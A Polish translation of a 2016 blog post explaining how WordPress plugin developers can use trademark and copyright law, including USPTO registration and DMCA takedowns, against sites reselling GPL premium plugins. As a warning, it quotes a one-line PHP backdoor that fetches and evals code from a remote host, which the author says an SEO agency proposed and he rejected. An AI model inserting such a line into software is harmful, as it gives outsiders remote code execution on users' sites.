Kompletny przewodnik po tym, jak prawnie chronić swój biznes wtyczek GPL WordPress przed trollami
Opublikowany: 2016-01-12Licencjonowanie oprogramowania może być bardzo mylącym tematem, szczególnie w świecie open-source. Granice legalności i etyki nie zawsze są jasne. Ale ponieważ właściciele firm skupili się na sprzedaży wtyczek WordPress na GPL, naszym obowiązkiem jest dokładne zrozumienie tych tematów.
Ten post nie będzie dotyczył etyki i skupi się na względach prawnych. Zapewni Ci krok po kroku praktyczną formułę, w tym informacje zwrotne od doświadczonych prawników w tej dziedzinie, aby chronić Twoją firmę WordPress przed „trollami” wtyczek.
Jako programista wtyczek przez ostatnie pięć lat przeczytałem mnóstwo artykułów omawiających GPL, jej wolności i wyzwania związane z prowadzeniem biznesu zgodnego z GPL. Ale w ciągu ostatnich kilku miesięcy ten temat nabrał dla mnie jeszcze większego znaczenia.
W sierpniu śledziło mnie konto na Twitterze o nazwie WordPress Plugins (https://twitter.com/plugswp). Z przyzwyczajenia sprawdziłem ich profil, aby dowiedzieć się więcej o tym użytkowniku. Wkrótce odkryłem, że program obsługi był powiązany z „wppluginscheap.com”, „trollem” wtyczek i motywów, który reklamuje się jako „źródło numer 1 dla tanich wtyczek i motywów WordPress w wersji premium”. Przeglądając witrynę, znalazłem wiele popularnych wtyczek premium, takich jak Yoast SEO, Backup Buddy, WP Robot i 50 motywów premium. Każdy produkt sprzedawany za mniej niż 10 USD.
Choć byłem naiwny, wskoczyłem na WPChat i zacząłem nowy wątek:
Wszyscy kodowaliśmy pod groźbą, że jakiś troll wyskoczy i odsprzeda nasze wtyczki / motywy na licencji GPL za absurdalne ceny. Cóż… jest tutaj A co powiesz na zakup Yoast Premium SEO za 4,00 USD… Jestem trochę wkurzony, az drugiej strony rozbawiony, bo wiedziałem, że kiedyś się pojawi.
Zadałem społeczności dwa pytania:
1. Jak możemy to usunąć?
2. Czy czujesz się zagrożony?
Równolegle poszedłem do grupy Advanced WordPress na Facebooku i przesłałem następujący status:
Joost de Valk i Thomas Hofter, chyba że zaczęliście sprzedawać swoje wtyczki za mniej niż 10 USD, myślę, że ci goście naruszają wasze znaki towarowe (i tuzin innych twórców wtyczek). Jak to sprowadzimy?
Jeśli jesteś członkiem grupy AWP, możesz sprawdzić cały wątek tutaj.
Oba wątki wywołały duże zainteresowanie i dyskusję. Otrzymałem 17 odpowiedzi w WPChat i 84 komentarze w grupie AWP na Facebooku. Kiedy odpowiedzi zaczęły napływać, zdałem sobie sprawę z dwóch rzeczy:
1. Wtyczki / motywy WordPress trolle to epidemia – dzieje się to wszędzie!
Dzieje się tak od dłuższego czasu, chociaż głównie z motywami i dodatkami WooCommerce. Zobacz gplclub.org i sozot.com. WPAvengers.com zrobił coś podobnego przed zamknięciem.
– Leland Fiegel, założyciel WPChat
2. Mimo że istnieją setki wpisów na blogach dotyczących każdego aspektu licencji GPL, w ekosystemie wciąż panuje spore zamieszanie. Nawet wśród influencerów. Wygląda na to, że wiele osób uważa, że jest to technicznie w porządku (choć nieetyczne), ponieważ wtyczki i motywy są objęte licencją GPL.
Ci oportuniści pojawiają się od czasu do czasu i nigdy nie wydają się do niczego. To legalne (w każdym razie część GPL), ale nieetyczne. Jest leniwy. I to źle dla klientów, ponieważ towary są w wątpliwym stanie, przestarzałe, nieobsługiwane i podejrzane.
– Steven Gliebe, twórca motywów i założyciel katalogu Pro Plugin Directory
Jest to nieetyczne, ale jeśli ja jako właściciel sklepu z motywami/wtyczkami wydający na GPL, powiedziałbym to, czuję, że jestem jeszcze bardziej nieetyczny, jeśli mogę to powiedzieć, niż ci faceci i totalny hipokryta.
– Ionut Neagu, założyciel CodeinWP
Inne komentarze otrzymane na Facebooku obejmowały:
- Jeśli wtyczki były na licencji GPL, to obawiam się, że nic nie mogą zrobić
- Nie sądzę, aby wersje premium były objęte GPL
- To legalne, na licencji GPL
A tych jest znacznie więcej!
Więc zanim zaczniemy, pozwól, że coś wyjaśnię —
To jest całkowicie błędne!
Deweloperzy nadal mają egzekwowalne prawa, nawet jeśli ich wtyczki są rozpowszechniane na licencji open source.
Te „wtyczkowe trolle” mogą nadal ponosić odpowiedzialność za naruszenie znaków towarowych i/lub naruszenie praw autorskich.
Dodam, że czytałem wiele opinii mówiących, że te trolle nie wyrządzają żadnej szkody biznesowi. Gdyby tak było, nie zawracałbym sobie głowy spędzaniem tak dużo czasu na kompilacji tego posta. Chciałbym skorzystać z okazji, aby wyjaśnić powody, dla których trolle są złe dla społeczności WordPressa – dla Twojej firmy, a także dla użytkowników WordPressa.
Dlaczego trolle wtyczek są złe dla twojego biznesu wtyczek?
Utracone przychody
Niezależnie od tego, czy Ci się to podoba, czy nie, część użytkowników kupi lub otrzyma wtyczkę premium z tych witryn. Zwłaszcza nowicjusze WordPress. Jeśli byłem nowy w ekosystemie WordPress i szukałem wtyczki SEO, Yoast SEO za 4 USD brzmi o wiele bardziej atrakcyjnie niż pełna cena. Po prostu bym to kupił. Tak jak zawsze szukam najlepszego rabatu przy zakupie smartfona lub innych produktów. Nie potrzebuję „oryginalnej gwarancji”, ponieważ nigdy nie używałem jej z żadnym z zakupionych produktów, więc wsparcie nie jest czymś, o czym użytkownicy mają na myśli od samego początku.
Wsparcie nadużycie
Jeśli są jakieś problemy z wtyczką kupioną od trolla – zgadnij, kto jest za to winny? Oczywiście prawdziwy deweloper/firma. Jeśli grafika powiązana z Twoją marką zostanie powielona, klienci skontaktują się z Tobą. Podobnie jak w przypadku zakupu smartfona HTC na Amazon, kiedy mam problemy z urządzeniem, dzwonię do pomocy technicznej HTC, a nie do Amazona. Co powiedziałbyś użytkownikowi? „Tak, to nasz telefon, ale musisz skontaktować się z Amazonem w celu uzyskania pomocy technicznej”. Ta odpowiedź byłaby trudna do strawienia dla użytkownika. Wygląda na to, że nie stoisz za swoimi produktami.
Jeśli są jakieś problemy z wtyczką kupioną od trolla – zgadnij kto jest za to winny?Tweetuj
Uszkodzenie marki
Nie ma wątpliwości, że niektóre trolle wstrzykują złośliwy kod do wtyczek. Główną zachętą do tego jest generowanie przychodów przy bezpłatnej dystrybucji wtyczek premium. Sam byłem tego świadkiem. Dwa lata temu skontaktował się ze mną starszy specjalista ds. SEO z agencji z siedzibą w BIG UK (ponad 100 pracowników). . Zaproponował współpracę ze mną, dodając jedną prostą linię kodu do naszej wtyczki:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);
Pomysł polegał na tym, że punkt końcowy API zwróci ukryte adresy URL, aby przesłać linki zwrotne ich spółek portfelowych. Jednym z przykładów, które przesłał, był:
<a href="”http://www.portfolio-company.com”">Great Company</a>
Trolle mogą wstrzykiwać złośliwy kod do wtyczek podczas używania oryginalnego brandingu, co bezpośrednio szkodzi Twojej marce!Tweet
To było przed Google Penguin i było świetnym hackiem SEO. Oferta była również fantastyczna – 0,1 USD za domenę miesięcznie. Więc gdybym miał 100 000 aktywnych domen korzystających z mojej wtyczki, mógłbym generować 10 000 USD miesięcznie. przychody bez wydawania dodatkowej minuty. Niesamowite, prawda? Oczywiście nie zrobiliśmy tego z różnych powodów, przede wszystkim dlatego, że ten kod był WYJĄTKOWO złośliwy. Otwiera zdalne tylne drzwi, aby robić z witryną wszystko, co chcesz. Nawet jeśli agencja miała używać go tylko do SEO, co się stanie, jeśli ich serwer zostanie zhakowany i ktoś o złych intencjach przejmie kontrolę? Kto wie, ile legalnych wtyczek WordPress.org współpracowało z tą agencją… Wracając do trolli, ich intencje są czysto finansowe. Nie promują twoich wtyczek premium dla zabawy, chcą zarabiać pieniądze. A jeśli robią nielegalne rzeczy, takie jak naruszenie praw autorskich i znaków towarowych, nic nie powstrzyma ich przed generowaniem alternatywnych strumieni przychodów, takich jak wstrzykiwanie kodu. Aha, i zapomniałem wspomnieć, że jeśli coś takiego się wydarzy, to ty jesteś winien! To Twój produkt i Twoja marka.
Zapisz się i zdobądź bezpłatną kopię naszej książki
11 sprawdzonych technik zwiększania sporów dotyczących kart kredytowych o 740%
Udostępnij znajomym
Wpisz adres e-mail znajomego. Wyślemy im tylko tę książkę, honor Scouta.
Dziękuję za podzielenie się
Niesamowite — kopia „11 sprawdzonych technik zwiększania współczynnika sukcesu w sporach dotyczących kart kredytowych o 740%” została właśnie wysłana na adres . Chcesz pomóc nam jeszcze bardziej rozpowszechniać informacje? Dalej, podziel się książką ze znajomymi i współpracownikami.
Dziękuję za zasubskrybowanie!
- właśnie wysłaliśmy Twoją kopię „11 sprawdzonych technik zwiększania współczynnika sukcesu w sporach dotyczących kart kredytowych o 740%” na adres .
Masz literówkę w swoim e-mailu? kliknij tutaj, aby edytować adres e-mail i wyślij ponownie.
Dlaczego trolle wtyczek są złe dla użytkowników?
Z wielu powodów, o których wspomniałem, ale z perspektywy użytkownika.
Bez wsparcia
W obliczu problemu technicznego troll po prostu nie może ci pomóc. To nie jest ich produkt, nie mają pojęcia o kodzie ani o tym, jak rozwiązać związane z nim problemy. Co więcej, nie mają do tego zasobów wsparcia. A jeśli spróbujesz skontaktować się z pierwotną firmą, twórcy wtyczek premium mają infrastrukturę do śledzenia swoich klientów. Firma często nie pomaga, dopóki nie kupisz oryginalnej licencji.
Nielegalni dystrybutorzy wtyczek nie mogą i nie pomogą Ci w rozwiązywaniu problemów technicznych.Tweetuj
Brak automatycznych aktualizacji
Większość wtyczek premium dostępnych obecnie na rynku ma mechanizm licencjonowania i aktualizacji (trolle często „hakują” tę część przed redystrybucją wtyczki). Sposób działania tego mechanizmu automatycznych aktualizacji polega na tym, że raz na 24 godziny wtyczka sprawdza oryginalny serwer firmy, aby sprawdzić, czy są jakieś aktualizacje dla wersji premium. Uwierzytelnia się również za pomocą klucza licencyjnego. Ponieważ wtyczka trolla nigdy nie została wydana z kluczem licencyjnym od oryginalnej firmy, ten mechanizm aktualizacji NIE będzie działał. Dlatego za każdym razem, gdy instalowana jest nieoryginalna wtyczka premium, nie ma automatycznych aktualizacji. To źle, ponieważ hakerzy nieustannie znajdują nowe kreatywne luki w zabezpieczeniach, a przestarzała wtyczka premium może być tym wyciekiem bezpieczeństwa.
Pirackie wtyczki WordPress nie mają automatycznego mechanizmu aktualizacji – ciągła luka w zabezpieczeniach!Tweetuj
Poważne wycieki bezpieczeństwa
Pamiętasz złośliwą jedną linię kodu, o której wspomniałem powyżej? Czy chciałbyś, aby hakerzy mieli otwarte tylne drzwi do swojej witryny? Ten backdoor dosłownie umożliwia hakerowi modyfikowanie każdego piksela i fragmentu treści w Twojej witrynie. A to tylko jeden przykład, jestem pewien, że istnieje wiele innych kreatywnych zastrzyków.
Co obejmują licencje open source?
Ponieważ w społeczności programistów panuje spore zamieszanie związane z tymi problemami, skontaktowałem się z moim przyjacielem Arielem Reinitzem i jego kolegą Matthew Hintzem, którzy są prawnikami ds. własności intelektualnej (IP) (patenty, znaki towarowe i prawa autorskie) w Lowenstein Sandler LLP, ogólnokrajowa firma z biurami od Nowego Jorku po Palo Alto.
Ariel wyjaśnił mi, że chociaż „trolle” wtyczek WP mogą być technicznie uprawnione do redystrybucji kodu objętego licencją open source (np. GPL), istnieją inne prawa własności intelektualnej („IP”), które nie są objęte open source licencji, którą te „trolle” mogą nadal naruszać.

Ariel Reinitz, prawnik ds. własności intelektualnej
Oto, co Ariel ma do powiedzenia na temat GPL:
Ważne jest, aby zrozumieć, co licencja open source (GPLv2), w ramach której dystrybuowana jest większość wtyczek do WordPressa, obejmuje (i nie obejmuje):
Licencja open source określa sposób dystrybucji oprogramowania/kodu źródłowego. Ogólnie rzecz biorąc, takie licencje pozwalają każdemu na używanie, modyfikowanie itp. oprogramowania/kodu bez żadnych kosztów. W ten sposób kod źródłowy projektu open source może być redystrybuowany przez inne strony bez naruszania warunków GPL.

W prostych słowach – wolność GPL pozwala każdemu wziąć kod źródłowy i robić z nim, co chce, w tym dystrybucję. Wierzę, że w tej części społeczności panuje konsensus.
Czego nie obejmują licencje open source?
Jednak licencje open-source (w tym GPLv2) zasadniczo nie obejmują znaków towarowych. Znaki towarowe odnoszą się do sposobu, w jaki produkt (np. wtyczka, motyw, aplikacja itp.) jest oznakowany marką – np. nazwa produktu (i/lub firmy, z której pochodzi), jego slogan/hasło oraz /lub jego logo. Tak więc, chociaż kod źródłowy projektu może być swobodnie redystrybuowany w ramach licencji open source, taka licencja nie przyznaje innym żadnych praw w odniesieniu do znaków towarowych związanych z projektem (np. nazwa produktu, firma, która go opracowała, itp.).
W słowach niezwiązanych z prawnikiem – GPL nie zezwala na używanie żadnego znaku towarowego wtyczki, takiego jak nazwa produktu, nazwa firmy i logo. Ariel podaje nam przykład:
Na przykład, jeśli osoba trzecia rozprowadza wtyczkę WordPress, używając całego oryginalnego brandingu projektu (np. promując ją oryginalną nazwą, logo itp. firmy/projektu), prawdopodobnie naruszyłoby to oryginalny znak towarowy dewelopera prawa. Jak już wspomniano, licencja open source nie pozwala komuś na wykorzystanie cudzego brandingu w kontekście komercyjnym. Jest to ważne, ponieważ jedną z głównych zasad prawa znaków towarowych jest ochrona konsumenta przed nieporozumieniem co do pochodzenia produktu.
Główne zasady prawa znaków towarowych to nie tylko ochrona biznesu, ale także ochrona konsumenta przed nieporozumieniem co do pochodzenia produktu. To ważna uwaga!
Należy również pamiętać, że wiele firm open source rejestruje, chroni i pilnuje swoich praw do znaków towarowych. Przykłady: Linux , MySQL , Red Hat i WordPress .
Ariel mówi tutaj, że wiele z największych nazw open-source chroni i pilnuje swoich praw do znaków towarowych. Dlaczego nie mielibyśmy zrobić tego samego?
Skoro Red Hat może chronić i pilnować swoich praw do znaków towarowych, dlaczego twórcy wtyczek nie mogą?Tweetować
Oprócz praw do znaków towarowych, Ariel wskazał, że programiści mają również prawo do ochrony praw autorskich do produkowanych przez siebie materiałów, które nie są częścią kodu źródłowego:
Należy również pamiętać, że GPL (i inne licencje open-source) obejmują tylko kod źródłowy samej wtyczki. Jeśli jednak programista utworzy materiały, które nie są częścią kodu źródłowego (np. grafika, materiały promocyjne, opakowanie itp.), materiały te nie będą objęte licencją GPL, a programista nie będzie miał obowiązku zezwalać innej stronie do redystrybucji materiałów.
Na przykład spójrz, jak wtyczka „Yoast” jest prezentowana w niektórych witrynach „trolli”, o których mowa powyżej. Chociaż te witryny mogą technicznie być w stanie redystrybuować kod źródłowy Yoast (ponieważ podlega on licencji GPL), witryny te zawierają również elementy, takie jak branding Yoast (np. nazwa i logo Yoast, które są znakami towarowymi ), a także inne materiały kreatywne opracowane przez Yoast (np. grafika przedstawiająca faceta pijącego herbatę, która nie jest częścią kodu źródłowego Yoasta, a zatem prawa autorskie należą do Yoasta i nie podlegają GPL).
Tak więc – chociaż troll może być prawnie uprawniony do redystrybucji kodu źródłowego Yoast, GPL (lub inna licencja open source) nie daje mu prawa do używania (a) brandingu Yoast (znaków towarowych) lub (b) innych grafik, materiałów itp. ., (prawa autorskie) . Ponieważ nie są one częścią kodu źródłowego wtyczki, elementy te nie są objęte licencją GPL, a zatem prawa własności intelektualnej (IP) do tych elementów są wyłączną własnością dewelopera .
Ponieważ „trolle” wtyczki używają znaków towarowych dewelopera i materiałów chronionych prawem autorskim (jak w powyższych przykładach „Yoast”), istnieją procedury prawne (które szczegółowo omówimy poniżej), których programiści mogą użyć do egzekwowania tych praw w celu zatrzymać, odwieść lub przynajmniej spróbować ograniczyć wpływ, jaki te „trolle” mogą mieć na Twój biznes. Znowu jest to prawdą, nawet jeśli twoja wtyczka jest rozpowszechniana na licencji GPL.
Co chronią znaki towarowe?

Matthew Hintz, prawnik ds. własności intelektualnej
Matthew wyjaśnia, co oznaczają znaki towarowe:
Mówiąc najprościej, znak towarowy jest unikalnym identyfikatorem dla konsumentów, który odróżnia źródło towarów lub usług od innych. Najczęściej znakiem towarowym jest słowo, logo lub kombinacja tych elementów. W Stanach Zjednoczonych prawa do znaków towarowych zaczynają się od użycia w handlu (tzw. „common law rights”), a nie poprzez rejestrację w Urzędzie Patentów i Znaków Towarowych Stanów Zjednoczonych (USPTO). Jednak rejestracja znaku towarowego w USPTO zapewnia właścicielowi wiele korzyści niedostępnych w ramach praw zwyczajowych. W szczególności obejmują one dowody na wyłączne prawo rejestrującego do używania znaku w całych Stanach Zjednoczonych w związku z towarami lub usługami określonymi w rejestracji, konstruktywne zawiadomienie, że rejestrujący jest właścicielem znaku towarowego, wykaz rejestracji w USPTO internetowa baza danych oraz możliwość posługiwania się symbolem. (Przed rejestracją symbol znaku towarowego może być używany ze znakiem towarowym.)
Czy kod jest chroniony znakiem towarowym?
Podczas moich badań przeczytałem kilka postów, w których wspomniano, że podczas tworzenia wtyczki lub motywu na licencji GPL, kod musi zostać zrefaktoryzowany, aby upewnić się, że nie ma funkcji, które zawierają identyfikator będący znakiem towarowym jako część nazwy funkcji. Aby to wyjaśnić, zapytałem Mateusza, czy kod jest również chroniony znakiem towarowym, a oto odpowiedź:
Sam kod nie jest chroniony znakiem towarowym. Znaki towarowe chronią słowo lub logo, które konsument kojarzy z Twoimi towarami lub usługami. Ograniczeniem ochrony znaku towarowego dla wtyczki byłoby wówczas słowo lub logo używane do sprzedaży wtyczki wśród konsumentów. A następnie podstawowym testem naruszenia znaku towarowego jest to, czy konsumenci byliby prawdopodobnie zdezorientowani podobieństwem tych dwóch znaków. Podobieństwo ocenia się, biorąc pod uwagę takie elementy, jak podobieństwo wizualne i fonetyczne, stopień powiązania towarów/usług dla każdego znaku, stopień odróżniający znaki i czas ich używania.
Aby wyjaśnić odpowiedź w języku przyjaznym dla programistów:
- Nazwy klas, nazwy funkcji, nazwy zmiennych i nazwy stałych NIE są chronione znakiem towarowym.
- Natomiast napisy, które są drukowane na stronie i widoczne dla końcowych użytkowników – są chronione znakiem towarowym.
Jak dokonać rejestracji znaku towarowego?
Aby uzyskać korzyści z federalnej rejestracji znaku towarowego, Twój znak towarowy musi być zarejestrowany w USPTO. Wniosek o rejestrację musi zawierać podstawowe informacje: nazwę zgłaszającego/właściciela, znak, towary lub usługi, z którymi znak jest używany, dowody używania znaku z tymi towarami lub usługami oraz daty pierwszego użycia tego znaku . Uwagi dotyczące Twojej aplikacji:
- Przeszukaj bazę danych USPTO TESS (http://www.uspto.gov/trademark) pod kątem takich samych lub podobnych znaków. Jeżeli takie same lub podobne znaki zostały zgłoszone lub już zarejestrowane, mogą one stanowić podstawę do odrzucenia zgłoszenia. Wyszukuj również za pośrednictwem Google lub innych usług wyszukiwania, ponieważ znak może być używany bez rejestracji i mieć nadrzędne prawa do tego znaku pomimo Twojej rejestracji. Rejestracja nie wyczerpuje praw do znaku towarowego poprzedniego użytkownika.
- Aby opisać swoje towary lub usługi, wyszukaj akceptowalny język w podręczniku USPTO dotyczącym identyfikatorów: http://tess2.uspto.gov/netahtml/tidm.html . Możesz również wyszukać akceptowalny język na TESS.
- Klasy są ogólnymi wskazaniami odnoszącymi się do pewnych dziedzin dotyczących towarów lub usług. Na przykład wtyczki do pobrania są zwykle w klasie 9, która obejmuje wszystkie programy komputerowe i oprogramowanie.
- Opłaty za zgłoszenie znaku towarowego uzależnione są od liczby klas. Ogólna opłata wynosi 275 USD za klasę, ale dostępne są mniejsze i droższe opcje zgłoszenia.
Po złożeniu wniosku USPTO zbada wniosek w celu ustalenia, czy znak jest unikalnym identyfikatorem (tj. nie jest opisowy lub łudząco podobny do wcześniej złożonych wniosków lub rejestracji). USPTO zapewnia terminy składania wniosków: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .
Należy pamiętać, że ochrona znaku towarowego ma charakter terytorialny. Na przykład rejestracja w Stanach Zjednoczonych zapewni ochronę znaku towarowego w Stanach Zjednoczonych.
Jak opisał Mateusz, proces ten niekoniecznie jest skomplikowany – ale wymaga czasu i wysiłku. Polecam zapłacić prawnikowi średniego szczebla, aby zrobił to za ciebie. Powinno to kosztować od 200 do 2000 USD za pracę, ale zaoszczędzi to czas i zapewni lepszą aplikację. W każdym razie, zanim zaczniesz, wygoogluj to! Jeśli znajdziesz produkt lub firmę (szczególnie w tej samej lub podobnej dziedzinie) pasujące dokładnie do Twojego terminu/frazy, istnieje duża szansa, że NIE będziesz w stanie zarejestrować znaku towarowego (a możesz faktycznie naruszać cudzy znak).
Co zrobić, gdy Twój znak towarowy zostanie naruszony?
Zacznę od tego, czego NIE należy robić – jeśli jest to naruszenie znaku towarowego, a nie praw autorskich, NIE należy składać wniosku o usunięcie treści na podstawie ustawy DMCA.
Ustawa DMCA obejmuje TYLKO naruszenie praw autorskich. Podobne postanowienie nie jest dostępne dla znaków towarowych. Korzystanie z powiadomień o usunięciu zgodnie z ustawą DMCA w przypadku roszczeń dotyczących znaków towarowych może spowodować, że strona wnosząca roszczenie będzie odpowiedzialna za fałszywe oświadczenia.
Zazwyczaj najprościej jest próbować rozwiązywać problemy bezpośrednio z właścicielem witryny. Jeśli to się nie powiedzie, możesz wszcząć postępowanie prawne przeciwko właścicielowi witryny, hostowi itp. Konkretne podejście, które zastosujesz, będzie prawdopodobnie dotyczyć konkretnego przypadku i w tym momencie sugeruję skontaktowanie się z prawnikiem, aby zrozumieć najlepszą opcję w konkretnych okolicznościach .
Co jest chronione prawami autorskimi?
Prawa autorskie to coś innego niż znak towarowy. Prawo autorskie chroni oryginalne dzieła autorskie utrwalone w jakimś środku wyrazu. Jednak ograniczeniem ochrony praw autorskich jest to, że obejmuje ona tylko wyrażenie, a nie ideę. Kategorie utworów objętych ochroną praw autorskich obejmują między innymi utwory literackie (książki, kod), utwory muzyczne, fotografie i obrazy, filmy, nagrania dźwiękowe. Innym ograniczeniem jest to, że prawo autorskie nie chroni krótkich fraz lub wyrażeń – to pozostaje dla ochrony znaków towarowych, o ile funkcjonują one jako unikalny identyfikator dla konsumentów, który odróżnia źródło towarów lub usług od innych.
Co zrobić, gdy Twoje prawa autorskie zostaną naruszone?
- Początkowo często najprościej jest spróbować skontaktować się bezpośrednio z właścicielem witryny. W wielu przypadkach właściciel witryny nie jest bardziej zainteresowany zatrudnieniem prawników, angażowaniem się w postępowanie sądowe itp. Spróbuj znaleźć konto na Twitterze, adres e-mail kontaktowy lub stronę kontaktową w witrynie i wyślij wiadomość z żądaniem usunięcia Twoja wtyczka ze znakiem towarowym ze strony internetowej.
- Jeśli to nie pomoże, możesz wysłać żądanie usunięcia treści zgodne z ustawą DMCA (Digital Millennium Copyright Act). Istnieje kilka generatorów, które pomogą Ci je utworzyć, po prostu wpisz w google „generator dmca takedown”. Po otrzymaniu powiadomienia musisz je wysłać do właściciela witryny, firmy hostingowej i dostawcy usług internetowych. Możesz opcjonalnie przesłać powiadomienie do wyszukiwarek, aby usunąć witrynę z wyników wyszukiwania. Aby znaleźć firmę hostingową, możesz skorzystać z witryn takich jak whoihostingthis.com. Aby znaleźć dostawcę usług internetowych, możesz skorzystać ze stron internetowych, takich jak http://www.whoismyisp.org/. Aby znaleźć odpowiedni link do złożenia DMCA u dostawcy usług internetowych / hostingu, wyszukaj w Google ISP_NAME / HOSTING_NAME + DMCA.
Możesz też wszcząć postępowanie prawne przeciwko właścicielowi witryny, hostowi itp. Sugeruję skontaktowanie się z prawnikiem, aby dowiedzieć się, czy jest to najlepsza opcja w danych okolicznościach.
Wniosek
Mam nadzieję, że ten zestaw instrukcji krok po kroku zapewnił ci odpowiednie narzędzia do ochrony twojego biznesu wtyczek GPL przed trollami. Tylko podsumowanie:
- Jako właściciel firmy kwalifikujesz się i powinieneś chronić markę i aktywa swojej firmy.
- Znaki towarowe i prawa autorskie są stosunkowo tanimi i skutecznymi sposobami prawnej ochrony wtyczek. Dlatego powinieneś zdecydowanie rozważyć zarejestrowanie znaków towarowych dla nazwy firmy i nazw produktów.
- Wiele trolli narusza zarówno prawa autorskie (np. podnosząc Twoje grafiki promocyjne), jak i znaki towarowe (używając nazwy Twojej marki). Tworząc unikalną nazwę marki, logo i grafikę, generujesz portfolio, które pomaga w walce z naruszeniami praw autorskich.
Wiele trolli narusza zarówno prawa autorskie, jak i znaki towarowe. Tworząc unikalną nazwę marki, logo i grafikę, generujesz portfolio, które pomaga w walce z naruszeniami praw autorskich.Tweetuj
Jeśli witryna innej firmy wyświetla Twoją premium wtyczkę lub motyw na licencji GPL na sprzedaż lub w prezencie, bez Twojej zgody:
- Jeśli witryna korzysta z Twojej oryginalnej grafiki lub innych materiałów – jest to prawdopodobne naruszenie praw autorskich. Możesz zgłosić żądanie usunięcia treści na podstawie ustawy DMCA.
- Jeśli witryna korzysta ze znaku towarowego Twojej firmy lub produktu, prawdopodobnie jest to naruszenie znaku towarowego. Możesz wszcząć postępowanie prawne przeciwko witrynie.
Jeśli masz dodatkowe przemyślenia na temat prawnych i etycznych implikacji GPL, podziel się nimi w komentarzach poniżej.
Świetne referencje:
- Powiadomienie o usunięciu DMCA wydane przeciwko Fork WP Migrate DB Pro
- Licencja GPL nie daje swobody w naruszaniu zarejestrowanych znaków towarowych
- Czy WordPress GPL jest nadużywany?
- Dlaczego płacimy za kod na licencji GPL?